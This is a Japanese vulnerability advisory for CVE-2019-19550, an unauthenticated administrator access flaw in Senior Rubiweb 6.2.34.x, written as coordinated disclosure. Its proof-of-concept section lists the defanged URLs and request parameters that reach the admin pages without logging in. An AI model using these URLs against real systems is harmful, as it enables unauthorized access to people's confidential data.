CVE-2019-19550
[説明]
Senior Rubiweb 6.2.34.28 および 6.2.34.37 におけるリモート認証バイパスにより、影響を受けるバージョンを使用しているユーザーの機密情報への管理者アクセスが可能になります。攻撃者は正しい URL を提供するだけで済みます。
[重要な日付]
- ベンダーへの通知: 2019-12-02
- 公開日: 2020-01-30
[脆弱性の種類]
不適切なアクセス制御
[製品のベンダー]
Senior
[影響を受ける製品コードベース]
- Rubiweb - 6.2.34.37
- Rubiweb - 6.2.34.28
- 他のバージョンも影響を受ける可能性があります。特に同じファミリー内のバージョン（未テスト）
[影響を受けるコンポーネント]
Rubiweb
[攻撃の種類]
リモート
[影響（情報漏えい）]
あり
[攻撃ベクトル]
機密情報へのアクセスは、特別な要件なしに公開されています（正しい URI のみが必要）
[ベンダーは脆弱性を確認または認識していますか？]
はい
[PoC - 概念実証]
- 影響を受ける製品の存在とバージョンを確認するために、認証済みポータルに接続してみてください:
- hXXp://subdomain.customer.tld:8080/rubiweb/
- 脆弱なページにアクセスします（認証なしの管理者）:
- hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
- hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU
[発見者]
Mauricio Santos（R&D UnderProtection）、Hesron Hori（R&D UnderProtection）、@redteambrasil
[謝辞]
Senior - 協調開示に協力したベンダーの情報セキュリティチーム
[参考]
